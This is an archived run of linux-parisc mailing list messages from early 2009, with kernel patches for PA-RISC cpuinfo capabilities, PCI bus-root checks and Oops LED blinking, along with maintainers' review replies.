+        } else {
+                *capabilities = PDC_MODEL_OS32;
+        }
         spin_unlock_irqrestore(&pdc_lock, flags);
 
         return retval;
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index 370086f..4b54479 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -362,6 +362,13 @@ show_cpuinfo (struct seq_file *m, void *v)
 				 boot_cpu_data.cpu_hz / 1000000,
 				 boot_cpu_data.cpu_hz % 1000000  );
 
+		seq_printf(m, "capabilities\t:");
+		if (boot_cpu_data.pdc.capabilities & PDC_MODEL_OS32)
+			seq_printf(m, " os32");
+		if (boot_cpu_data.pdc.capabilities & PDC_MODEL_OS64)
+			seq_printf(m, " os64");
+		seq_printf(m, "\n");
+
 		seq_printf(m, "model\t\t: %s\n"
 				"model name\t: %s\n",
 				 boot_cpu_data.pdc.sys_model_name,

-- 
Colin Watson                                    [cjwatson@canonical.com]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: expose 32/64-bit capabilities in cpuinfo
Date: Fri, 30 Jan 2009 10:09:40 -0500
Lines: 79
Approved: news@gmane.org
Message-ID: <20090130150940.GB28304@bombadil.infradead.org>
References: <20090130010350.GH7367@riva.ucam.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1233328213 31190 80.91.229.12 (30 Jan 2009 15:10:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 30 Jan 2009 15:10:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Colin Watson <cjwatson@canonical.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 30 16:11:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LSv1g-0005TG-9j
	for glpp-linux-parisc@gmane.org; Fri, 30 Jan 2009 16:11:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751947AbZA3PJm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Jan 2009 10:09:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756406AbZA3PJl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 30 Jan 2009 10:09:41 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:37264 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751947AbZA3PJl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Jan 2009 10:09:41 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LSv00-0002FU-8E; Fri, 30 Jan 2009 15:09:40 +0000
Content-Disposition: inline
In-Reply-To: <20090130010350.GH7367@riva.ucam.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1243
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1243>

On Fri, Jan 30, 2009 at 01:03:50AM +0000, Colin Watson wrote:
> Also, this is against the Ubuntu 2.6.28 kernel tree since that's what I
> had handy and I was a bit tight on disk space to slurp down another
> tree. Sorry if it's skewed in any relevant way; I'll be happy to adjust
> if necessary.
> 

No big deal, this code doesn't change often.

> Thanks in advance!
> 
> Signed-off-by: Colin Watson <cjwatson@canonical.com>
> 

Looks good to me, applied.

cheers, Kyle

> diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pdc.h
> index c584b00..01e8063 100644
> --- a/arch/parisc/include/asm/pdc.h
> +++ b/arch/parisc/include/asm/pdc.h
> @@ -49,6 +49,8 @@
>  #define PDC_MODEL_CPU_ID	6	/* returns cpu-id (only newer machines!) */
>  #define PDC_MODEL_CAPABILITIES	7	/* returns OS32/OS64-flags	*/
>  /* Values for PDC_MODEL_CAPABILITIES non-equivalent virtual aliasing support */
> +#define  PDC_MODEL_OS64			(1 << 0)
> +#define  PDC_MODEL_OS32			(1 << 1)
>  #define  PDC_MODEL_IOPDIR_FDC		(1 << 2)
>  #define  PDC_MODEL_NVA_MASK		(3 << 4)
>  #define  PDC_MODEL_NVA_SUPPORTED	(0 << 4)
> diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
> index 03f26bd..cf118ef 100644
> --- a/arch/parisc/kernel/firmware.c
> +++ b/arch/parisc/kernel/firmware.c
> @@ -527,7 +527,11 @@ int pdc_model_capabilities(unsigned long *capabilities)
>          pdc_result[0] = 0; /* preset zero (call may not be implemented!) */
>          retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_CAPABILITIES, __pa(pdc_result), 0);
>          convert_to_wide(pdc_result);
> -        *capabilities = pdc_result[0];
> +        if (retval == PDC_OK) {
> +                *capabilities = pdc_result[0];
> +        } else {
> +                *capabilities = PDC_MODEL_OS32;
> +        }
>          spin_unlock_irqrestore(&pdc_lock, flags);
>  
>          return retval;
> diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
> index 370086f..4b54479 100644
> --- a/arch/parisc/kernel/processor.c
> +++ b/arch/parisc/kernel/processor.c
> @@ -362,6 +362,13 @@ show_cpuinfo (struct seq_file *m, void *v)
>  				 boot_cpu_data.cpu_hz / 1000000,
>  				 boot_cpu_data.cpu_hz % 1000000  );
>  
> +		seq_printf(m, "capabilities\t:");
> +		if (boot_cpu_data.pdc.capabilities & PDC_MODEL_OS32)
> +			seq_printf(m, " os32");
> +		if (boot_cpu_data.pdc.capabilities & PDC_MODEL_OS64)
> +			seq_printf(m, " os64");
> +		seq_printf(m, "\n");
> +
>  		seq_printf(m, "model\t\t: %s\n"
>  				"model name\t: %s\n",
>  				 boot_cpu_data.pdc.sys_model_name,
> 
> -- 
> Colin Watson                                    [cjwatson@canonical.com]
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] PARISC: fix wrong assumption about bus->self
Date: Fri, 30 Jan 2009 10:10:17 -0500
Lines: 93
Approved: news@gmane.org
Message-ID: <20090130151017.GC28304@bombadil.infradead.org>
References: <20090129053055.GA11718@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1233328230 31255 80.91.229.12 (30 Jan 2009 15:10:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 30 Jan 2009 15:10:30 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 30 16:11:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LSv1z-0005TG-0T
	for glpp-linux-parisc@gmane.org; Fri, 30 Jan 2009 16:11:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751729AbZA3PKW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Jan 2009 10:10:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752438AbZA3PKW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 30 Jan 2009 10:10:22 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:37292 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752309AbZA3PKV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Jan 2009 10:10:21 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LSv0b-0001jB-AP; Fri, 30 Jan 2009 15:10:17 +0000
Content-Disposition: inline
In-Reply-To: <20090129053055.GA11718@colo.lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1244
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1244>

On Wed, Jan 28, 2009 at 10:30:55PM -0700, Grant Grundler wrote:
> Kenji Kaneshige <kaneshige.kenji@jp.fujitsu.com> posted a patch series
> to linux-pci to fix a wrong assumption about pci_bus->self==NULL for
> all PCI host bus controllers. While PARISC platforms to not behave
> this way, I prefer to have the code consistent across architectures.
> The following patch replaces pci_bus->self with pci_bus->parent when
> used as a test to check for "root bus controller".
> 
> Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
> ---
> Kyle, AFAIK, this isn't urgent for parisc and can wait for 2.6.30.
> Not unless you or jejb feel strongly it should go in at around the
> same time as the patches from Kenji-san go in.
> 

Looks fairly unlikely to introduce any issues, applied.

Thanks Grant.

cheers, Kyle

> diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
> index d539d9d..f79266c 100644
> --- a/drivers/parisc/dino.c
> +++ b/drivers/parisc/dino.c
> @@ -587,7 +587,7 @@ dino_fixup_bus(struct pci_bus *bus)
>  			bus->resource[i+1] = &res[i];
>  		}
>  
> -	} else if(bus->self) {
> +	} else if (bus->parent) {
>  		int i;
>  
>  		pci_read_bridge_bases(bus);
> diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
> index 0797659..1cdfdea 100644
> --- a/drivers/parisc/iosapic.c
> +++ b/drivers/parisc/iosapic.c
> @@ -487,7 +487,7 @@ iosapic_xlate_pin(struct iosapic_info *isi, struct pci_dev *pcidev)
>  	}
>  
>  	/* Check if pcidev behind a PPB */
> -	if (NULL != pcidev->bus->self) {
> +	if (pcidev->bus->parent) {
>  		/* Convert pcidev INTR_PIN into something we
>  		** can lookup in the IRT.
>  		*/
> @@ -523,10 +523,9 @@ iosapic_xlate_pin(struct iosapic_info *isi, struct pci_dev *pcidev)
>  #endif /* PCI_BRIDGE_FUNCS */
>  
>  		/*
> -		** Locate the host slot the PPB nearest the Host bus
> -		** adapter.
> -		*/
> -		while (NULL != p->parent->self)
> +		 * Locate the host slot of the PPB.
> +		 */
> +		while (p->parent->parent)
>  			p = p->parent;
>  
>  		intr_slot = PCI_SLOT(p->self->devfn);
> diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
> index d8233de..59fbbf1 100644
> --- a/drivers/parisc/lba_pci.c
> +++ b/drivers/parisc/lba_pci.c
> @@ -644,7 +644,7 @@ lba_fixup_bus(struct pci_bus *bus)
>  	** Properly Setup MMIO resources for this bus.
>  	** pci_alloc_primary_bus() mangles this.
>  	*/
> -	if (bus->self) {
> +	if (bus->parent) {
>  		int i;
>  		/* PCI-PCI Bridge */
>  		pci_read_bridge_bases(bus);
> @@ -802,7 +802,7 @@ lba_fixup_bus(struct pci_bus *bus)
>  ** Can't fixup here anyway....garr...
>  */
>  	if (fbb_enable) {
> -		if (bus->self) {
> +		if (bus->parent) {
>  			u8 control;
>  			/* enable on PPB */
>  			(void) pci_read_config_byte(bus->self, PCI_BRIDGE_CONTROL, &control);
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: don't touch driver core internals
Date: Fri, 30 Jan 2009 10:10:59 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20090130151059.GD28304@bombadil.infradead.org>
References: <20090127010733.GA21660@kroah.com> <1233163519.3236.82.camel@localhost.localdomain> <20090128173557.GA7583@kroah.com> <20090128174122.GB9492@bombadil.infradead.org> <20090128175823.GA13517@kroah.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1233328279 31456 80.91.229.12 (30 Jan 2009 15:11:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 30 Jan 2009 15:11:19 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kay Sievers <kay.sievers@vrfy.org>
To: Greg KH <greg@kroah.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 30 16:12:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LSv2g-0005TG-Ic
	for glpp-linux-parisc@gmane.org; Fri, 30 Jan 2009 16:12:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751787AbZA3PLG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Jan 2009 10:11:06 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751632AbZA3PLF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 30 Jan 2009 10:11:05 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:37315 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751787AbZA3PLD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Jan 2009 10:11:03 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LSv1H-0003GD-Fe; Fri, 30 Jan 2009 15:10:59 +0000
Content-Disposition: inline
In-Reply-To: <20090128175823.GA13517@kroah.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1245
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1245>

On Wed, Jan 28, 2009 at 09:58:23AM -0800, Greg KH wrote:
> On Wed, Jan 28, 2009 at 12:41:22PM -0500, Kyle McMartin wrote:
> > On Wed, Jan 28, 2009 at 09:35:57AM -0800, Greg KH wrote:
> > > I wrote that?  heh, I forgot all about that...
> > > 
> > > Yeah, that looks fine to me.
> > > 
> > 
> > If you and Pat hadn't converted struct device to use klists we
> > wouldn't be in this mess... ;-)
> 
> Well, you could have used the helper functions then...
> 
> > Ack... My tree or yours, greg? I've already got James' patch I believe.
> 
> If you want to take it, I have no objection.  Let me know which is
> easier for you.
> 

Ok, I've already got James' patch in my tree, I'll push it all along
tonight.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: commit mail stuff
Date: Fri, 30 Jan 2009 21:27:50 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <498362C6.5060309@gmx.de>
References: <20090121143130.GC27998@bombadil.infradead.org> <7d01f9f00901220323u2898ae25hf149c65956fc2a4e@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1233347291 3943 80.91.229.12 (30 Jan 2009 20:28:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 30 Jan 2009 20:28:11 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thibaut VARENE <varenet@parisc-linux.org>,
	Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 30 21:29:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LSzzQ-0001NT-56
	for glpp-linux-parisc@gmane.org; Fri, 30 Jan 2009 21:29:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753995AbZA3U1n (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Jan 2009 15:27:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755999AbZA3U1n
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 30 Jan 2009 15:27:43 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:52121 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755956AbZA3U1m (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Jan 2009 15:27:42 -0500
Original-Received: (qmail invoked by alias); 30 Jan 2009 20:27:40 -0000
Original-Received: from mnhm-590f6568.pool.einsundeins.de (EHLO halden.box) [89.15.101.104]
  by mail.gmx.net (mp004) with SMTP; 30 Jan 2009 21:27:40 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX183c+xmywY3U3VnNqhmH5I9Xt3nT8iDS02YE6Dykv
	4bz9BcFOW8hpQE
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <7d01f9f00901220323u2898ae25hf149c65956fc2a4e@mail.gmail.com>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1246
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1246>

Thibaut VARENE wrote:
> On Wed, Jan 21, 2009 at 3:31 PM, Kyle McMartin <kyle@infradead.org> wrote:
> 
>> commit 1890e15142aa1318bb9775c4ea021aa022c506dc
>> Author: Helge Deller <deller@gmx.de>
>> Date:   Tue Jan 6 14:23:13 2009 +0100
>>
>>    parisc: blink loadavg LEDs on Oops
>>
> 
> I thought we agreed this was a bad idea and that this patch should be
> left aside?
> Helge?

Yes, that was an idea.
But we can easily detect which kind of machine it is, and then
either blink all LEDs or just the loadavg. LEDs. The patch below
does this and should be then fine for you?

Kyle, could you apply the patch below as well?

Helge
------------------------------------------------------------
parisc: blink all or loadavg. LEDs on Oops depending on machine type.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parisc/led.c b/drivers/parisc/led.c
index 6d8753e..d6026d4 100644
--- a/drivers/parisc/led.c
+++ b/drivers/parisc/led.c
@@ -463,12 +463,19 @@ static void led_work_func (struct work_struct *unused)
 	if (likely(led_lanrxtx))  currentleds |= led_get_net_activity();
 	if (likely(led_diskio))   currentleds |= led_get_diskio_activity();
 
-	/* blink loadavg LEDs twice per second if we got an Oops (HPMC) */
+	/* blink LEDs if we got an Oops (HPMC) */
 	if (unlikely(oops_in_progress)) {
-		if (count_HZ <= (HZ/2))
-			currentleds &= ~(LED4|LED5|LED6|LED7);
-		else
-			currentleds |= (LED4|LED5|LED6|LED7);
+		if (boot_cpu_data.cpu_type >= pcxl2) {
+			/* newer machines don't have loadavg. LEDs, so we
+			 * let all LEDs blink twice per second instead */
+			currentleds = (count_HZ <= (HZ/2)) ? 0 : 0xff;
+		} else {
+			/* old machines: blink loadavg. LEDs twice per second */
+			if (count_HZ <= (HZ/2))
+				currentleds &= ~(LED4|LED5|LED6|LED7);
+			else
+				currentleds |= (LED4|LED5|LED6|LED7);
+		}
 	}
 
 	if (currentleds != lastleds)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: commit mail stuff
Date: Fri, 30 Jan 2009 23:34:50 +0100
Lines: 91
Approved: news@gmane.org
Message-ID: <7d01f9f00901301434u79c4e49avd36e89ac3c78cb6e@mail.gmail.com>
References: <20090121143130.GC27998@bombadil.infradead.org>
	 <7d01f9f00901220323u2898ae25hf149c65956fc2a4e@mail.gmail.com>
	 <498362C6.5060309@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1233354902 28532 80.91.229.12 (30 Jan 2009 22:35:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 30 Jan 2009 22:35:02 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 30 23:36:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LT1yA-00039L-9c
	for glpp-linux-parisc@gmane.org; Fri, 30 Jan 2009 23:36:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752503AbZA3Wex convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Jan 2009 17:34:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754597AbZA3Wex
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 30 Jan 2009 17:34:53 -0500
Original-Received: from el-out-1112.google.com ([209.85.162.179]:7108 "EHLO
	el-out-1112.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752503AbZA3Wew convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Jan 2009 17:34:52 -0500
Original-Received: by el-out-1112.google.com with SMTP id b25so306221elf.1
        for <linux-parisc@vger.kernel.org>; Fri, 30 Jan 2009 14:34:50 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=JYLSkHFoDFC6ddcCV10vm0t6tFCmbjHFdZgRd0VDUPs=;
        b=oaYh6Iv/rlQtox6PDYyLEsIkJ6+HmWvGAVoJgQu6Hb/ZglFIDTegNcOPJDh198spVB
         6zOT7lDDAWxxLilnuYIx4I2ZiSqKPDL5HVXzGA3qXqs1I83fCdWKzD2aDK08FZ8JgSLQ
         HOdFWl+pmfBqahIhsSyekocOlheB91MjxZF4c=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=XgT8+F3EWC+To8xZXIQTXEDLd4hxUglUR5psFZHxNbEkVLM7wdw81pf4CL9cUCaE9v
         LQD79xJhVaYFBQoeI0hqeg5Ny/4mCKcC/X89LyixMcvq7ErgXDWEKzLYmA86HHCbLXRv
         GPr2Xvbz93I2Yzgsb8aJDRgFNBpoYaSJnb2fg=
Original-Received: by 10.90.106.3 with SMTP id e3mr1385518agc.54.1233354890549; Fri, 30 
	Jan 2009 14:34:50 -0800 (PST)
In-Reply-To: <498362C6.5060309@gmx.de>
X-Google-Sender-Auth: 77c50d68a4aa38a2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1247
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1247>

On Fri, Jan 30, 2009 at 9:27 PM, Helge Deller <deller@gmx.de> wrote:
> Thibaut VARENE wrote:
>> On Wed, Jan 21, 2009 at 3:31 PM, Kyle McMartin <kyle@infradead.org> =
wrote:
>>
>>> commit 1890e15142aa1318bb9775c4ea021aa022c506dc
>>> Author: Helge Deller <deller@gmx.de>
>>> Date:   Tue Jan 6 14:23:13 2009 +0100
>>>
>>>    parisc: blink loadavg LEDs on Oops
>>>
>>
>> I thought we agreed this was a bad idea and that this patch should b=
e
>> left aside?
>> Helge?
>
> Yes, that was an idea.
> But we can easily detect which kind of machine it is, and then
> either blink all LEDs or just the loadavg. LEDs. The patch below
> does this and should be then fine for you?

Ayup ;) Thanks for coming up with this!
Acked-by: Thibaut Var=C3=A8ne <varenet@parisc-linux.org> (if that matte=
rs ;)

> Kyle, could you apply the patch below as well?
>
> Helge
> ------------------------------------------------------------
> parisc: blink all or loadavg. LEDs on Oops depending on machine type.
>
> Signed-off-by: Helge Deller <deller@gmx.de>
>
> diff --git a/drivers/parisc/led.c b/drivers/parisc/led.c
> index 6d8753e..d6026d4 100644
> --- a/drivers/parisc/led.c
> +++ b/drivers/parisc/led.c
> @@ -463,12 +463,19 @@ static void led_work_func (struct work_struct *=
unused)
>        if (likely(led_lanrxtx))  currentleds |=3D led_get_net_activit=
y();
>        if (likely(led_diskio))   currentleds |=3D led_get_diskio_acti=
vity();
>
> -       /* blink loadavg LEDs twice per second if we got an Oops (HPM=
C) */
> +       /* blink LEDs if we got an Oops (HPMC) */
>        if (unlikely(oops_in_progress)) {
> -               if (count_HZ <=3D (HZ/2))
> -                       currentleds &=3D ~(LED4|LED5|LED6|LED7);
> -               else
> -                       currentleds |=3D (LED4|LED5|LED6|LED7);
> +               if (boot_cpu_data.cpu_type >=3D pcxl2) {
> +                       /* newer machines don't have loadavg. LEDs, s=
o we
> +                        * let all LEDs blink twice per second instea=
d */
> +                       currentleds =3D (count_HZ <=3D (HZ/2)) ? 0 : =
0xff;
> +               } else {
> +                       /* old machines: blink loadavg. LEDs twice pe=
r second */
> +                       if (count_HZ <=3D (HZ/2))
> +                               currentleds &=3D ~(LED4|LED5|LED6|LED=
7);
> +                       else
> +                               currentleds |=3D (LED4|LED5|LED6|LED7=
);
> +               }
>        }
>
>        if (currentleds !=3D lastleds)
> --
> To unsubscribe from this list: send the line "unsubscribe linux-paris=
c" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>



--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:03:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: define SRCARCH=parisc for parisc64 builds
Date: Mon, 02 Feb 2009 00:24:01 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <49862F11.5000808@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
